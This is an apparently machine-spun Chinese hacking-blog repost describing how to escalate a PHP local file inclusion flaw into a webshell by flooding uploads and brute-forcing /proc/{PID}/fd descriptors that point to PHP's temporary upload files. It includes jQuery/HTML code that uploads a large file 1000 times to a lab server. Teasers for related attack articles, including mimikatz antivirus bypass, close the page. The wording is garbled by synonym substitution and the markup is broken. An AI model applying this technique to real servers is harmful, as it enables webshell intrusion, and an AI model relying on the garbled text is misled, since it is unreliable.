把PHP LFI缝隙变为Webshell的形式

访客5年前黑客资讯985

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人先把屠刀放下!当然鸡肋,但思绪照样值得探求的。
原由是一篇老外写的文章,读完后创造他的思绪或许可以和PHP LFI联合。 文章后边写Java那段确实就是意淫,然则起先说到当linux进程访问一个文件的时间会在/proc/{PID}/fd/下创建一个文件描绘符来指向被访问的文件。比如/proc/1234/fd/5会指向/tmp/tmpXXX。而假设你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而我们知道,向任何php剧本发送上传文件的乞求,php都邑创建一个暂时文件来保存上传确当内容,当php剧本实行中止才删去这个暂时文件。那末当创建暂时文件的时间,必定会创建呼应的文件描绘符。假设我们能找到对应的文件描绘,应当就可以经由进程文件包含完结webshell了。一初步我想难点是猜出PID和文件描绘符编号,PID异常往常是几千,apache进程的文件描绘符编号异常往常就只在1-20之间,所以理论上暴力破解真实不难。起先我创造真实搞定PID和文件描绘符编号要比想象中简略得多。
实验步骤我就写得简练一点了。
首先,我们必要赓续上传文件到随意率性php剧本,这个文件更好还大一些。我用的是一个或许4mb的文件,彷佛上传文件有大小限制,太大的文件我没有实验成功,也没有穷究。然后就是写个法度赓续上传这个文件就好,我用的是jquery+HTML。更志向一点应当是用python/java跑多线程。如下是源代码:
html>body> script src="https://code.jquery.com/jquery-1.10.2.js">script>form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">input type="file" name="test">input type="submit">form> script>$( "form" ).submit(function( event ) {    uploadFiles(event);    return;});var files;$('input[type=file]').on('change', prepareUpload);function prepareUpload(event){  files = event.target.files;}function uploadFiles(event){  event.stopPropagation();     event.preventDefault();    var data = new FormData();    $.each(files, function(key, value)    {        data.append(key, value);    });    var i=0;    for(;i1000;i++){        $.ajax({            url: 'http://192.168.174.128/Default.php',            type: 'POST',            data: data,            cache: false,            dataType: 'json',            processData: false,             contentType: false,             success: function(data, textStatus, jqXHR)            {                if(typeof data.error === 'undefined')                {                    submitForm(event, data);                }                else                {                    console.log('ERRORS: ' + data.error);                }            },            error: function(jqXHR, textStatus, errorThrown)            {                console.log('ERRORS: ' + textStatus);            }        });        //wait(100);    }}function wait(ms){   var start = new Date().getTime();   var end = start;   while(end      end = new Date().getTime();  }}script>body>html>
工作截图:

工作后可以在服务器上看到如下效果:

[1] [2]  黑客接单网

相关文章

安全研究人员发现 Hacking Team 新开发不易发觉的Mac歹意软件

研究者在HackingTeam上发现了新开发的Mac歹意软件,这项发现促进了投机活动。自从上一年七月以来,这款臭名远扬的歹意软件造成了数Gbytes集团私家邮件和源代码的流出,现在这款软件作者再次出...

浏览器进犯结构BeEF Part 1

笔者发现国内很少有体系介绍BeEF结构的文章,所以笔者决议写一个系列。内容触及进犯浏览器的技能,首要介绍这些技能的原理,并怎么操作BeEF来完成,不触及浏览器自身缝隙(门槛太高,笔者有心无力)。 准备...

无视HTTPS建议中间人进犯

大约十年前,Firesheep制作了一个大新闻。多年来,安全人员现已了解了公共WiFi网络的损害,但直到有人创立了这个用户友爱的Firefox扩展插件之后,这个安全问题才得到了人们的重视。从那时起,网...

腐朽的苹果:对一大波iCloud垂钓网站的监测与剖析

国外的FireEye实验室有一套主动化体系,这套体系可以主动侦测最新注册的歹意域名。所谓的歹意域名,绝大部分都是假装成很多人知道的常用域名,以此来到达“歹意”的目的。比方说假装成苹果公司的域名——Fi...

Modbus TCP流量剖析

Modbus协议 Modbus是全球第一个真实用于工业现场的总线协议,ModBus选用主/从(Master/Slave)方法通讯。最大可支撑247个隶属控制器,但实践所支撑的隶属控制器数还得由所用通讯...

九种姿态运转Mimikatz

前语 平常搜集的一些姿态,用户绕过杀软履行mimikatz,这儿以360为例进行bypass 测验。 下载最新版360: 未经处理的mimikatz直接就被杀了 下面开端进行绕过360抓暗码 姿态一-...